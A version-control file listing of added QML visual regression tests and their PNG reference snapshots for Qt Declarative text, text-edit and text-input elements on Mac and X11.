-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.pngbin0 -> 469 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.pngbin0 -> 557 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.pngbin0 -> 537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.pngbin0 -> 343 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.pngbin0 -> 465 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.pngbin0 -> 469 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.pngbin0 -> 557 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.pngbin0 -> 537 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml13
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetext/qtbug_14865.qml18
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/MultilineEdit.qml76
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml36
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.pngbin0 -> 1177 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.pngbin0 -> 1254 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.pngbin0 -> 1199 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.pngbin0 -> 1198 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.pngbin0 -> 1195 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.pngbin0 -> 1197 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.pngbin0 -> 3145 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.pngbin0 -> 3146 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.pngbin0 -> 3144 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.9.pngbin0 -> 3135 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml1499
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.pngbin0 -> 7233 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml11
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.pngbin0 -> 737 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.pngbin0 -> 740 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.pngbin0 -> 746 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.pngbin0 -> 739 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.4.pngbin0 -> 737 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml1371
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.0.pngbin0 -> 5123 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.1.pngbin0 -> 5500 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.10.pngbin0 -> 8641 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.11.pngbin0 -> 8641 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.12.pngbin0 -> 2037 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.2.pngbin0 -> 6163 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.3.pngbin0 -> 6785 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.4.pngbin0 -> 6943 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.5.pngbin0 -> 7043 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.6.pngbin0 -> 7428 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.7.pngbin0 -> 6860 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.8.pngbin0 -> 8659 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.9.pngbin0 -> 8641 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/usingMultilineEdit.qml4687
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.0.pngbin0 -> 11626 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.1.pngbin0 -> 11869 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.2.pngbin0 -> 12264 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.3.pngbin0 -> 12607 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.4.pngbin0 -> 13243 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.5.pngbin0 -> 13260 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.6.pngbin0 -> 13260 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.7.pngbin0 -> 4238 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/wrap.qml2467
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.0.pngbin0 -> 1173 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.1.pngbin0 -> 1249 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.2.pngbin0 -> 1331 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.3.pngbin0 -> 1212 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.4.pngbin0 -> 1208 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.5.pngbin0 -> 1213 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.6.pngbin0 -> 3145 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.7.pngbin0 -> 3146 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.8.pngbin0 -> 3144 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.9.pngbin0 -> 3135 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.qml1499
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.pngbin0 -> 609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.pngbin0 -> 677 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml191
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.0.pngbin0 -> 688 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.1.pngbin0 -> 693 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.2.pngbin0 -> 695 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.3.pngbin0 -> 694 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.4.pngbin0 -> 688 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.qml1371
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.0.pngbin0 -> 1357 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.1.pngbin0 -> 1371 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.10.pngbin0 -> 2020 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.11.pngbin0 -> 2020 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.12.pngbin0 -> 2020 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.2.pngbin0 -> 1451 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.3.pngbin0 -> 1565 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.4.pngbin0 -> 1691 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.5.pngbin0 -> 1763 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.6.pngbin0 -> 1779 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.7.pngbin0 -> 1836 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.8.pngbin0 -> 1825 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.9.pngbin0 -> 2008 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.qml4687
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.pngbin0 -> 3481 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.pngbin0 -> 3606 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.pngbin0 -> 3676 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.pngbin0 -> 3754 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.pngbin0 -> 3828 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.pngbin0 -> 3927 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.pngbin0 -> 3930 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.7.pngbin0 -> 3943 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml2467
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.pngbin0 -> 3171 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.pngbin0 -> 3603 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.pngbin0 -> 3152 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.pngbin0 -> 3147 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.pngbin0 -> 3145 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.pngbin0 -> 3147 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.pngbin0 -> 3145 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.pngbin0 -> 3146 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.pngbin0 -> 3144 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.9.pngbin0 -> 3135 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml1499
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.pngbin0 -> 859 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.pngbin0 -> 1049 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.pngbin0 -> 1051 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.pngbin0 -> 698 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.pngbin0 -> 698 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.pngbin0 -> 1063 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml3551
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.pngbin0 -> 609 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.pngbin0 -> 677 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml191
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.pngbin0 -> 4802 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.pngbin0 -> 4804 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.pngbin0 -> 4801 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.pngbin0 -> 4791 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml1371
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.0.pngbin0 -> 4006 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.1.pngbin0 -> 4293 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.10.pngbin0 -> 6074 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.11.pngbin0 -> 6074 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.2.pngbin0 -> 4683 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.3.pngbin0 -> 5114 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.4.pngbin0 -> 5270 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.5.pngbin0 -> 5401 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.6.pngbin0 -> 5591 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.7.pngbin0 -> 5261 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.8.pngbin0 -> 6072 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.9.pngbin0 -> 6074 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.qml4687
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.pngbin0 -> 1110 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml2467
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml20
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml22
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml15
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml19
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/usingMultilineEdit.qml14
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml35
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/LineEdit.qml69
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml37
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.pngbin0 -> 1177 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.pngbin0 -> 1148 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.pngbin0 -> 1312 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.pngbin0 -> 1256 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.pngbin0 -> 1197 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.pngbin0 -> 1197 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.pngbin0 -> 801 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.pngbin0 -> 802 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.pngbin0 -> 802 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml1551
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.0.pngbin0 -> 703 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.1.pngbin0 -> 1360 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.2.pngbin0 -> 2031 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.3.pngbin0 -> 539 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/echoMode.qml1043
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.0.pngbin0 -> 3987 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.qml107
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.0.pngbin0 -> 1254 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.1.pngbin0 -> 1328 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.10.pngbin0 -> 1345 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.11.pngbin0 -> 1433 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.2.pngbin0 -> 1328 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.3.pngbin0 -> 1328 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.4.pngbin0 -> 1316 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.5.pngbin0 -> 1318 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.6.pngbin0 -> 1321 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.7.pngbin0 -> 1316 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.8.pngbin0 -> 1362 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.9.pngbin0 -> 1423 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.qml4335
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.0.pngbin0 -> 1173 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.1.pngbin0 -> 1143 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.2.pngbin0 -> 1312 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.3.pngbin0 -> 1250 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.4.pngbin0 -> 1193 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.5.pngbin0 -> 1193 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.qml1551
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.pngbin0 -> 358 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.pngbin0 -> 446 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.pngbin0 -> 553 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.pngbin0 -> 622 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml1043
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.pngbin0 -> 3685 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml107
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.pngbin0 -> 573 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.pngbin0 -> 647 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.pngbin0 -> 625 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml1039
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.0.pngbin0 -> 1265 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.1.pngbin0 -> 1337 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.10.pngbin0 -> 1389 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.11.pngbin0 -> 1455 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.2.pngbin0 -> 1337 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.3.pngbin0 -> 1279 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.4.pngbin0 -> 1368 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.5.pngbin0 -> 1367 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.6.pngbin0 -> 1377 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.7.pngbin0 -> 1368 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.8.pngbin0 -> 1384 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.9.pngbin0 -> 1471 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/usingLineEdit.qml4335
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml1551
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml1043
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.0.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.1.pngbin0 -> 1037 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.2.pngbin0 -> 1042 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.3.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.4.pngbin0 -> 850 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.5.pngbin0 -> 632 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.6.pngbin0 -> 830 bytes
-rw-r--r--tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/flickableInput.7.pngbin0 -> 849 bytes
